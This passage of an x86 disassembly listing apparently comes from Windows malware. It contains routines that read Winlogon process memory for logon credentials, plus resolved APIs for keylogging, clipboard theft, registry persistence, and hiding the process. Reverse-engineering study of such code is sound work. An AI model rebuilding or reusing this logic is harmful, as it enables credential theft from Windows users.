		test	eax, eax
		pop	ecx
		jz	short loc_4077C2
		cmp	ds:dword_436320, 0
		jnz	short loc_4077A9
		push	ebx
		push	edi
		push	[ebp+arg_0]
		lea	eax, [ebp+var_29C]
		push	offset unk_428324
		push	200h
		push	eax
		call	sub_4159FA
		add	esp, 18h
		jmp	short loc_4077DC
; ---------------------------------------------------------------------------


loc_4077A9:				; CODE XREF: sub_40767D+10Aj
		cmp	[ebp+var_4], 1
		push	[ebp+arg_0]
		jnz	short loc_4077B9
		call	sub_407CB5
		jmp	short loc_4077BE
; ---------------------------------------------------------------------------


loc_4077B9:				; CODE XREF: sub_40767D+133j
		call	sub_407D4C


loc_4077BE:				; CODE XREF: sub_40767D+13Aj
		pop	ecx
		push	eax
		jmp	short loc_4077CE
; ---------------------------------------------------------------------------


loc_4077C2:				; CODE XREF: sub_40767D+101j
		push	offset unk_4282DC
		jmp	short loc_4077CE
; ---------------------------------------------------------------------------


loc_4077C9:				; CODE XREF: sub_40767D+B6j
		push	offset unk_428298


loc_4077CE:				; CODE XREF: sub_40767D+143j
					; sub_40767D+14Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_415480
		pop	ecx
		pop	ecx


loc_4077DC:				; CODE XREF: sub_40767D+12Aj
		push	0
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_41358D
		pop	ecx
		pop	ecx
		push	[ebp+var_8]
		call	ds:off_4220B4
		pop	ebx
		jmp	short loc_407809
; ---------------------------------------------------------------------------


loc_4077F6:				; CODE XREF: sub_40767D+4Ej
		push	offset unk_428254


loc_4077FB:				; CODE XREF: sub_40767D+3Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_415480
		pop	ecx
		pop	ecx


loc_407809:				; CODE XREF: sub_40767D+177j
		xor	esi, esi
		cmp	[ebp+var_10], esi
		jnz	short loc_407830
		push	esi
		lea	eax, [ebp+var_29C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_98]
		push	eax
		push	[ebp+var_9C]
		call	sub_40BAE7
		add	esp, 14h


loc_407830:				; CODE XREF: sub_40767D+191j
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_40A5B3
		push	[ebp+var_18]
		call	sub_415248
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_422044	; ExitThread
		pop	edi
		pop	esi
sub_40767D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40784F	proc near		; CODE XREF: sub_40767D+ACp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 18h
		and	[esp+18h+var_4], 0
		and	[esp+18h+var_14], 0
		push	ebx
		push	ebp
		push	esi
		mov	esi, ds:dword_4220CC
		mov	ebx, 100h
		push	edi
		push	ebx
		push	8
		call	esi	; GetProcessHeap
		mov	edi, ds:dword_4220C8
		push	eax
		call	edi	; RtlAllocateHeap
		mov	ebp, eax
		lea	eax, [esp+28h+var_14]
		push	eax
		push	ebx
		push	ebp
		push	10h
		call	ds:dword_436114
		push	ebp
		push	0
		call	esi	; GetProcessHeap
		push	eax
		call	ds:dword_4220C4	; RtlFreeHeap
		push	[esp+28h+var_14]
		push	8
		call	esi	; GetProcessHeap
		push	eax
		call	edi	; RtlAllocateHeap
		mov	ebp, eax
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esp+28h+var_C]
		mov	[esp+28h+var_C], eax
		push	ecx
		push	eax
		push	ebp
		push	10h
		call	ds:dword_436114
		test	eax, eax
		jnz	short loc_40793C
		mov	eax, [esp+28h+var_C]
		shr	eax, 4
		mov	[esp+28h+var_10], eax
		jz	short loc_40793C
		push	1
		mov	ebx, ebp
		pop	ecx
		cmp	eax, ecx
		mov	[esp+28h+var_18], ecx
		jb	short loc_40793C


loc_4078D8:				; CODE XREF: sub_40784F+EBj
		cmp	word ptr [ebx+8], 5
		jnz	short loc_40792F
		push	0
		push	0
		call	ds:dword_436108
		mov	edi, eax
		push	edi
		push	1
		push	dword ptr [ebx+4]
		call	ds:dword_436318
		test	eax, eax
		jnz	short loc_407920
		mov	eax, [edi+60h]
		push	offset aWinlogon ; "WINLOGON"
		mov	[esp+2Ch+var_8], eax
		lea	eax, [edi+80h]
		push	eax
		call	sub_417183
		pop	ecx
		push	eax
		call	sub_415A50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_407954


loc_407920:				; CODE XREF: sub_40784F+AAj
		test	edi, edi
		jz	short loc_40792B
		push	edi
		call	ds:dword_436110


loc_40792B:				; CODE XREF: sub_40784F+D3j
		mov	eax, [esp+28h+var_10]


loc_40792F:				; CODE XREF: sub_40784F+8Ej
		add	ebx, 10h
		inc	[esp+28h+var_18]
		cmp	[esp+28h+var_18], eax
		jbe	short loc_4078D8


loc_40793C:				; CODE XREF: sub_40784F+6Dj
					; sub_40784F+7Aj ...
		xor	edi, edi


loc_40793E:				; CODE XREF: sub_40784F+17Dj
		push	ebp
		push	0
		call	esi	; GetProcessHeap
		push	eax
		call	ds:dword_4220C4	; RtlFreeHeap
		mov	eax, edi


loc_40794C:				; CODE XREF: sub_40784F+184j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 18h
		retn
; ---------------------------------------------------------------------------


loc_407954:				; CODE XREF: sub_40784F+CFj
		and	[esp+28h+var_10], 0
		cmp	[esp+28h+var_8], 0
		jbe	short loc_4079BD
		lea	eax, [edi+80h]
		mov	[esp+28h+var_18], eax


loc_40796A:				; CODE XREF: sub_40784F+16Cj
		add	[esp+28h+var_18], 11Ch
		push	offset aNwgina	; "NWGINA"
		push	[esp+2Ch+var_18]
		call	sub_417183
		pop	ecx
		push	eax
		call	sub_415A50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4079D1
		push	offset aMsgina	; "MSGINA"
		push	[esp+2Ch+var_18]
		call	sub_417183
		pop	ecx
		push	eax
		call	sub_415A50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4079AF
		mov	eax, [ebx+4]
		mov	[esp+28h+var_4], eax


loc_4079AF:				; CODE XREF: sub_40784F+157j
		inc	[esp+28h+var_10]
		mov	eax, [esp+28h+var_10]
		cmp	eax, [esp+28h+var_8]
		jb	short loc_40796A


loc_4079BD:				; CODE XREF: sub_40784F+10Fj
		test	edi, edi
		jz	short loc_4079C8
		push	edi
		call	ds:dword_436110


loc_4079C8:				; CODE XREF: sub_40784F+170j
		mov	edi, [esp+28h+var_4]
		jmp	loc_40793E
; ---------------------------------------------------------------------------


loc_4079D1:				; CODE XREF: sub_40784F+13Cj
		xor	eax, eax
		jmp	loc_40794C
sub_40784F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4079D8	proc near		; CODE XREF: sub_40767D+F1p

var_64		= byte ptr -64h
var_60		= dword	ptr -60h
var_40		= byte ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2B		= byte ptr -2Bh
var_24		= byte ptr -24h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 64h
		push	esi
		xor	esi, esi
		push	[ebp+arg_0]
		mov	[ebp+var_10], esi
		push	esi
		push	410h
		call	ds:dword_4220DC	; OpenProcess
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jnz	short loc_407A01
		xor	eax, eax
		jmp	loc_407B7C
; ---------------------------------------------------------------------------


loc_407A01:				; CODE XREF: sub_4079D8+20j
		mov	eax, [ebp+arg_4]
		push	ebx
		push	edi
		mov	[eax], esi
		lea	eax, [ebp+var_64]
		push	eax
		call	ds:dword_4220D8	; GetSystemInfo
		push	[ebp+var_60]
		mov	[ebp+var_8], esi
		mov	esi, ds:dword_4220CC
		push	8
		call	esi	; GetProcessHeap
		mov	edi, ds:dword_4220C8
		push	eax
		call	edi	; RtlAllocateHeap
		lea	ecx, [ebp+var_8]
		mov	ebx, ds:dword_4220D4
		push	ecx
		mov	[ebp+arg_0], eax
		push	[ebp+var_60]
		push	eax
		push	7FFDF000h
		push	[ebp+var_4]
		call	ebx	; ReadProcessMemory
		test	eax, eax
		jnz	short loc_407A51
		xor	esi, esi
		jmp	loc_407B6F
; ---------------------------------------------------------------------------


loc_407A51:				; CODE XREF: sub_4079D8+70j
		lea	eax, [ebp+var_40]
		push	1Ch
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		call	ds:dword_4220D0	; VirtualQueryEx
		test	eax, eax
		jz	loc_407B5E
		mov	ecx, [ebp+var_30]
		mov	eax, 1000h
		and	ecx, eax
		cmp	ecx, eax
		jnz	loc_407B5E
		test	[ebp+var_2B], 1
		jnz	loc_407B5E
		push	[ebp+var_34]
		push	8
		call	esi	; GetProcessHeap
		push	eax
		call	edi	; RtlAllocateHeap
		mov	edi, eax
		lea	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+arg_0]
		push	[ebp+var_34]
		mov	[ebp+var_C], edi
		push	edi
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		call	ebx	; ReadProcessMemory
		test	eax, eax
		jz	loc_407B5E


loc_407AB4:				; CODE XREF: sub_4079D8+112j
		push	edi
		push	offset dword_435108
		call	sub_420B6C
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_407ADC
		lea	eax, [edi+200h]
		push	eax
		push	offset dword_435908
		call	sub_420B6C
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_407AEC


loc_407ADC:				; CODE XREF: sub_4079D8+EBj
		mov	eax, [ebp+var_34]
		mov	ecx, [ebp+var_C]
		inc	edi
		add	eax, ecx
		inc	edi
		cmp	edi, eax
		jnb	short loc_407B5E
		jmp	short loc_407AB4
; ---------------------------------------------------------------------------


loc_407AEC:				; CODE XREF: sub_4079D8+102j
		test	edi, edi
		jz	short loc_407B5E
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [edi+410h]
		push	eax
		call	ds:dword_42208C	; FileTimeToLocalFileTime
		test	eax, eax
		jz	short loc_407B27
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		call	ds:dword_422088	; FileTimeToSystemTime
		test	eax, eax
		jz	short loc_407B27
		mov	al, [edi+42Ch]
		mov	ecx, [ebp+arg_4]
		shr	eax, 1
		and	eax, 7Fh
		mov	[ecx], eax


loc_407B27:				; CODE XREF: sub_4079D8+12Bj
					; sub_4079D8+13Dj
		movzx	eax, word ptr [edi+42Ch]
		shr	eax, 8
		mov	ds:dword_43632C, eax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], 1
		mov	eax, [eax+18h]
		sub	eax, [ebp+var_C]
		lea	eax, [eax+edi+434h]
		add	edi, 434h
		mov	ds:dword_436324, eax
		mov	ds:dword_436328, edi


loc_407B5E:				; CODE XREF: sub_4079D8+90j
					; sub_4079D8+A2j ...
		push	[ebp+arg_0]
		push	0
		call	esi	; GetProcessHeap
		push	eax
		call	ds:dword_4220C4	; RtlFreeHeap
		mov	esi, [ebp+var_10]


loc_407B6F:				; CODE XREF: sub_4079D8+74j
		push	[ebp+var_4]
		call	ds:off_422074
		pop	edi
		mov	eax, esi
		pop	ebx


loc_407B7C:				; CODE XREF: sub_4079D8+24j
		pop	esi
		leave
		retn
sub_4079D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407B7F	proc near		; CODE XREF: sub_40767D:loc_407775p

var_4C		= byte ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_28		= byte ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_13		= byte ptr -13h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		push	0
		push	410h
		call	ds:dword_4220DC	; OpenProcess
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_407C71
		mov	eax, [ebp+arg_4]
		and	dword ptr [eax], 0
		lea	eax, [ebp+var_4C]
		push	eax
		call	ds:dword_4220D8	; GetSystemInfo
		mov	ebx, [ebp+var_44]
		mov	eax, [ebp+var_40]
		cmp	ebx, eax
		mov	[ebp+var_C], eax
		jnb	loc_407C68
		mov	edi, ds:dword_4220CC


loc_407BCA:				; CODE XREF: sub_407B7F+E3j
		lea	eax, [ebp+var_28]
		push	1Ch
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	ds:dword_4220D0	; VirtualQueryEx
		test	eax, eax
		jz	short loc_407C56
		mov	edx, [ebp+var_18]
		mov	ecx, [ebp+var_1C]
		mov	eax, 1000h
		mov	[ebp+var_4], ecx
		and	edx, eax
		cmp	edx, eax
		jnz	short loc_407C5C
		test	[ebp+var_13], 1
		jnz	short loc_407C5C
		push	ecx
		push	8
		call	edi	; GetProcessHeap
		push	eax
		call	ds:dword_4220C8	; RtlAllocateHeap
		mov	esi, eax
		lea	eax, [ebp+var_8]
		push	eax
		and	[ebp+var_8], 0
		push	[ebp+var_1C]
		push	esi
		push	ebx
		push	[ebp+arg_0]
		call	ds:dword_4220D4	; ReadProcessMemory
		test	eax, eax
		jz	short loc_407C48
		push	offset dword_435108
		push	esi
		call	sub_420B6C
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_407C48
		lea	eax, [esi+400h]
		push	offset dword_435908
		push	eax
		call	sub_420B6C
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_407C78


loc_407C48:				; CODE XREF: sub_407B7F+9Fj
					; sub_407B7F+B0j
		push	esi
		push	0
		call	edi	; GetProcessHeap
		push	eax
		call	ds:dword_4220C4	; RtlFreeHeap
		jmp	short loc_407C5C
; ---------------------------------------------------------------------------


loc_407C56:				; CODE XREF: sub_407B7F+5Dj
		mov	eax, [ebp+var_48]
		mov	[ebp+var_4], eax


loc_407C5C:				; CODE XREF: sub_407B7F+71j
					; sub_407B7F+77j ...
		add	ebx, [ebp+var_4]
		cmp	ebx, [ebp+var_C]
		jb	loc_407BCA


loc_407C68:				; CODE XREF: sub_407B7F+3Fj
		push	[ebp+arg_0]
		call	ds:off_422074


loc_407C71:				; CODE XREF: sub_407B7F+1Ej
		xor	eax, eax


loc_407C73:				; CODE XREF: sub_407B7F+134j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_407C78:				; CODE XREF: sub_407B7F+C7j
		add	ebx, 800h
		lea	eax, [esi+800h]
		xor	ecx, ecx
		mov	ds:dword_436324, ebx
		mov	ds:dword_436328, eax
		cmp	[eax], cl
		jnz	short loc_407C9A
		cmp	[eax+1], cl
		jz	short loc_407CA2


loc_407C9A:				; CODE XREF: sub_407B7F+114j
					; sub_407B7F+121j
		inc	ecx
		inc	eax
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_407C9A


loc_407CA2:				; CODE XREF: sub_407B7F+119j
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_0]
		mov	[eax], ecx
		call	ds:off_422074
		push	1
		pop	eax
		jmp	short loc_407C73
sub_407B7F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407CB5	proc near		; CODE XREF: sub_40767D+135p

var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, ds:dword_436320
		push	esi
		mov	esi, ds:dword_4220CC
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_6], ax
		mov	[ebp+var_8], cx
		movzx	eax, ax
		push	eax
		push	8
		call	esi	; GetProcessHeap
		push	eax
		call	ds:dword_4220C8	; RtlAllocateHeap
		mov	ecx, ds:dword_436320
		mov	[ebp+var_4], eax
		add	ecx, ecx
		push	ecx
		push	ds:dword_436328
		push	eax
		call	sub_415560
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	eax
		mov	al, byte ptr ds:dword_43632C
		push	eax
		call	ds:dword_43610C
		push	[ebp+var_4]
		mov	edi, offset dword_436118
		push	offset dword_435108
		push	offset dword_435908
		push	[ebp+arg_0]
		push	offset unk_4284D8
		push	200h
		push	edi
		call	sub_4159FA
		add	esp, 1Ch
		push	[ebp+var_4]
		push	0
		call	esi	; GetProcessHeap
		push	eax
		call	ds:dword_4220C4	; RtlFreeHeap
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_407CB5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407D4C	proc near		; CODE XREF: sub_40767D:loc_4077B9p

var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, ds:dword_436320
		push	ebx
		push	esi
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_16], ax
		mov	[ebp+var_18], cx
		movzx	eax, ax
		push	eax
		push	8
		call	ds:dword_4220CC	; GetProcessHeap
		push	eax
		call	ds:dword_4220C8	; RtlAllocateHeap
		and	[ebp+var_C], 0
		mov	[ebp+var_14], eax
		mov	ebx, offset dword_435908
		mov	edi, 200h
		mov	esi, offset dword_434F08


loc_407D92:				; CODE XREF: sub_407D4C+FAj
		mov	eax, ds:dword_436320
		add	eax, eax
		push	eax
		push	ds:dword_436328
		push	[ebp+var_14]
		call	sub_415560
		add	esp, 0Ch
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_C]
		call	ds:dword_43610C
		mov	eax, ds:dword_436320
		and	[ebp+var_10], 0
		mov	ecx, [ebp+var_14]
		mov	[ebp+var_8], 1
		test	eax, eax
		jbe	short loc_407E07


loc_407DCF:				; CODE XREF: sub_407D4C+B3j
		cmp	[ebp+var_8], 0
		jz	short loc_407E24
		mov	dl, [ecx]
		test	dl, dl
		mov	[ebp+var_1], dl
		jz	short loc_407DF3
		cmp	byte ptr [ecx+1], 0
		jnz	short loc_407DF3
		cmp	dl, 20h
		jnb	short loc_407DED
		and	[ebp+var_8], 0


loc_407DED:				; CODE XREF: sub_407D4C+9Bj
		cmp	[ebp+var_1], 7Eh
		jbe	short loc_407DF7


loc_407DF3:				; CODE XREF: sub_407D4C+90j
					; sub_407D4C+96j
		and	[ebp+var_8], 0


loc_407DF7:				; CODE XREF: sub_407D4C+A5j
		inc	ecx
		inc	ecx
		inc	[ebp+var_10]
		cmp	[ebp+var_10], eax
		jb	short loc_407DCF
		cmp	[ebp+var_8], 0
		jz	short loc_407E24


loc_407E07:				; CODE XREF: sub_407D4C+81j
		push	[ebp+var_14]
		push	offset dword_435108
		push	ebx
		push	[ebp+arg_0]
		push	offset unk_4284D8
		push	edi
		push	esi
		call	sub_4159FA
		add	esp, 1Ch
		jmp	short loc_407E3C
; ---------------------------------------------------------------------------


loc_407E24:				; CODE XREF: sub_407D4C+87j
					; sub_407D4C+B9j
		push	offset dword_435108
		push	ebx
		push	[ebp+arg_0]
		push	offset unk_428544
		push	edi
		push	esi
		call	sub_4159FA
		add	esp, 18h


loc_407E3C:				; CODE XREF: sub_407D4C+D6j
		inc	[ebp+var_C]
		cmp	[ebp+var_C], 0FFh
		jbe	loc_407D92
		push	[ebp+var_14]
		push	0
		call	ds:dword_4220CC	; GetProcessHeap
		push	eax
		call	ds:dword_4220C4	; RtlFreeHeap
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_407D4C	endp


; =============== S U B	R O U T	I N E =======================================



sub_407E65	proc near		; CODE XREF: sub_40CB17+48p
		push	ebx
		push	ebp
		mov	ebp, ds:off_4220E0
		push	esi
		push	edi
		push	offset aKernel32_dll_1 ; "kernel32.dll"
		call	ebp ; sub_4DAF8C
		mov	esi, ds:off_4220BC
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_407F85
		push	offset aSeterrormode ; "SetErrorMode"
		push	edi
		call	esi ; sub_4DB076
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	ds:dword_436514, eax
		call	esi ; sub_4DB076
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	ds:dword_436488, eax
		call	esi ; sub_4DB076
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	ds:dword_43646C, eax
		call	esi ; sub_4DB076
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	ds:dword_436388, eax
		call	esi ; sub_4DB076
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	edi
		mov	ds:dword_436334, eax
		call	esi ; sub_4DB076
		push	offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
		push	edi
		mov	ds:dword_436364, eax
		call	esi ; sub_4DB076
		push	offset aGetdrivetypea ;	"GetDriveTypeA"
		push	edi
		mov	ds:dword_4363D8, eax
		call	esi ; sub_4DB076
		push	offset aSearchpatha ; "SearchPathA"
		push	edi
		mov	ds:dword_4364C8, eax
		call	esi ; sub_4DB076
		push	offset aQueryperforman ; "QueryPerformanceCounter"
		push	edi
		mov	ds:off_436524, eax
		call	esi ; sub_4DB076
		push	offset aQueryperform_0 ; "QueryPerformanceFrequency"
		push	edi
		mov	ds:dword_436394, eax
		call	esi ; sub_4DB076
		cmp	ds:dword_436514, ebx
		mov	ds:dword_43637C, eax
		jz	short loc_407F63
		cmp	ds:dword_436488, ebx
		jz	short loc_407F63
		cmp	ds:dword_43646C, ebx
		jz	short loc_407F63
		cmp	ds:dword_436388, ebx
		jz	short loc_407F63
		cmp	ds:dword_436364, ebx
		jz	short loc_407F63
		cmp	ds:dword_4363D8, ebx
		jz	short loc_407F63
		cmp	ds:dword_4364C8, ebx
		jz	short loc_407F63
		cmp	ds:off_436524, ebx
		jz	short loc_407F63
		cmp	ds:dword_436394, ebx
		jz	short loc_407F63
		cmp	eax, ebx
		jnz	short loc_407F6D


loc_407F63:				; CODE XREF: sub_407E65+B8j
					; sub_407E65+C0j ...
		mov	ds:dword_436528, 1


loc_407F6D:				; CODE XREF: sub_407E65+FCj
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	edi
		call	esi ; sub_4DB076
		cmp	eax, ebx
		mov	ds:dword_4364A0, eax
		jz	short loc_407F9A
		push	1
		push	ebx
		call	eax
		jmp	short loc_407F9A
; ---------------------------------------------------------------------------


loc_407F85:				; CODE XREF: sub_407E65+1Dj
		call	ds:dword_42206C	; RtlGetLastWin32Error
		mov	ds:dword_43652C, eax
		mov	ds:dword_436528, 1


loc_407F9A:				; CODE XREF: sub_407E65+117j
					; sub_407E65+11Ej
		push	offset aUser32_dll ; "user32.dll"
		call	ds:off_4220C0
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_4080AF
		push	offset aSendmessagea ; "SendMessageA"
		push	edi
		call	esi ; sub_4DB076
		push	offset aFindwindowa ; "FindWindowA"
		push	edi
		mov	ds:dword_4364C4, eax
		call	esi ; sub_4DB076
		push	offset aIswindow ; "IsWindow"
		push	edi
		mov	ds:dword_436474, eax
		call	esi ; sub_4DB076
		push	offset aDestroywindow ;	"DestroyWindow"
		push	edi
		mov	ds:dword_436408, eax
		call	esi ; sub_4DB076
		push	offset aOpenclipboard ;	"OpenClipboard"
		push	edi
		mov	ds:dword_436518, eax
		call	esi ; sub_4DB076
		push	offset aGetclipboardda ; "GetClipboardData"
		push	edi
		mov	ds:dword_436438, eax
		call	esi ; sub_4DB076
		push	offset aCloseclipboard ; "CloseClipboard"
		push	edi
		mov	ds:dword_436458, eax
		call	esi ; sub_4DB076
		push	offset aExitwindowsex ;	"ExitWindowsEx"
		push	edi
		mov	ds:dword_4364BC, eax
		call	esi ; sub_4DB076
		cmp	ds:dword_4364C4, ebx
		mov	ds:dword_4363B0, eax
		jz	short loc_408053
		cmp	ds:dword_436474, ebx
		jz	short loc_408053
		cmp	ds:dword_436408, ebx
		jz	short loc_408053
		cmp	ds:dword_436518, ebx
		jz	short loc_408053
		cmp	ds:dword_436438, ebx
		jz	short loc_408053
		cmp	ds:dword_436458, ebx
		jz	short loc_408053
		cmp	ds:dword_4364BC, ebx
		jz	short loc_408053
		cmp	eax, ebx
		jnz	short loc_40805D


loc_408053:				; CODE XREF: sub_407E65+1B8j
					; sub_407E65+1C0j ...
		mov	ds:dword_436530, 1


loc_40805D:				; CODE XREF: sub_407E65+1ECj
		push	offset aGetasynckeysta ; "GetAsyncKeyState"
		push	edi
		call	esi ; sub_4DB076
		push	offset aGetkeystate ; "GetKeyState"
		push	edi
		mov	ds:dword_436434, eax
		call	esi ; sub_4DB076
		push	offset aGetwindowtexta ; "GetWindowTextA"
		push	edi
		mov	ds:dword_436348, eax
		call	esi ; sub_4DB076
		push	offset aGetforegroundw ; "GetForegroundWindow"
		push	edi
		mov	ds:dword_436404, eax
		call	esi ; sub_4DB076
		cmp	ds:dword_436434, ebx
		mov	ds:dword_4363F0, eax
		jz	short loc_4080BA
		cmp	ds:dword_436348, ebx
		jz	short loc_4080BA
		cmp	ds:dword_436404, ebx
		jz	short loc_4080BA
		cmp	eax, ebx
		jnz	short loc_4080C4
		jmp	short loc_4080BA
; ---------------------------------------------------------------------------


loc_4080AF:				; CODE XREF: sub_407E65+144j
		call	ds:dword_42206C	; RtlGetLastWin32Error
		mov	ds:dword_436534, eax


loc_4080BA:				; CODE XREF: sub_407E65+232j
					; sub_407E65+23Aj ...
		mov	ds:dword_436530, 1


loc_4080C4:				; CODE XREF: sub_407E65+246j
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	ebp ; sub_4DAF8C
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40825F
		push	offset aRegopenkeyexa ;	"RegOpenKeyExA"
		push	edi
		call	esi ; sub_4DB076
		push	offset aRegcreatekeyex ; "RegCreateKeyExA"
		push	edi
		mov	ds:dword_4364D8, eax
		call	esi ; sub_4DB076
		push	offset aRegsetvalueexa ; "RegSetValueExA"
		push	edi
		mov	ds:dword_43641C, eax
		call	esi ; sub_4DB076
		push	offset aRegqueryvaluee ; "RegQueryValueExA"
		push	edi
		mov	ds:dword_43648C, eax
		call	esi ; sub_4DB076
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		push	edi
		mov	ds:dword_436374, eax
		call	esi ; sub_4DB076
		push	offset aRegclosekey ; "RegCloseKey"
		push	edi
		mov	ds:dword_4363D4, eax
		call	esi ; sub_4DB076
		cmp	ds:dword_4364D8, ebx
		mov	ds:dword_436444, eax
		jz	short loc_40814F
		cmp	ds:dword_43641C, ebx
		jz	short loc_40814F
		cmp	ds:dword_43648C, ebx
		jz	short loc_40814F
		cmp	ds:dword_436374, ebx
		jz	short loc_40814F
		cmp	ds:dword_4363D4, ebx
		jz	short loc_40814F
		cmp	eax, ebx
		jnz	short loc_408159


loc_40814F:				; CODE XREF: sub_407E65+2C4j
					; sub_407E65+2CCj ...
		mov	ds:dword_436538, 1


loc_408159:				; CODE XREF: sub_407E65+2E8j
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi ; sub_4DB076
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		mov	ds:dword_43644C, eax
		call	esi ; sub_4DB076
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		mov	ds:dword_436424, eax
		call	esi ; sub_4DB076
		cmp	ds:dword_43644C, ebx
		mov	ds:dword_4364D4, eax
		jz	short loc_408194
		cmp	ds:dword_436424, ebx
		jz	short loc_408194
		cmp	eax, ebx
		jnz	short loc_40819E


loc_408194:				; CODE XREF: sub_407E65+321j
					; sub_407E65+329j
		mov	ds:dword_436538, 1


loc_40819E:				; CODE XREF: sub_407E65+32Dj
		push	offset aOpenscmanagera ; "OpenSCManagerA"
		push	edi
		call	esi ; sub_4DB076
		push	offset aOpenservicea ; "OpenServiceA"
		push	edi
		mov	ds:dword_43645C, eax
		call	esi ; sub_4DB076
		push	offset aStartservicea ;	"StartServiceA"
		push	edi
		mov	ds:dword_436350, eax
		call	esi ; sub_4DB076
		push	offset aControlservice ; "ControlService"
		push	edi
		mov	ds:dword_436358, eax
		call	esi ; sub_4DB076
		push	offset aDeleteservice ;	"DeleteService"
		push	edi
		mov	ds:dword_4363B8, eax
		call	esi ; sub_4DB076
		push	offset aCloseserviceha ; "CloseServiceHandle"
		push	edi
		mov	ds:dword_4363BC, eax
		call	esi ; sub_4DB076
		push	offset aEnumservicesst ; "EnumServicesStatusA"
		push	edi
		mov	ds:dword_43636C, eax
		call	esi ; sub_4DB076
		push	offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
		push	edi
		mov	ds:dword_436428, eax
		call	esi ; sub_4DB076
		cmp	ds:dword_43645C, ebx
		mov	ds:dword_43635C, eax
		jz	short loc_408242
		cmp	ds:dword_436350, ebx
		jz	short loc_408242
		cmp	ds:dword_436358, ebx
		jz	short loc_408242
		cmp	ds:dword_4363B8, ebx
		jz	short loc_408242
		cmp	ds:dword_4363BC, ebx
		jz	short loc_408242
		cmp	ds:dword_43636C, ebx
		jz	short loc_408242
		cmp	ds:dword_436428, ebx
		jz	short loc_408242
		cmp	eax, ebx
		jnz	short loc_40824C


loc_408242:				; CODE XREF: sub_407E65+3A7j
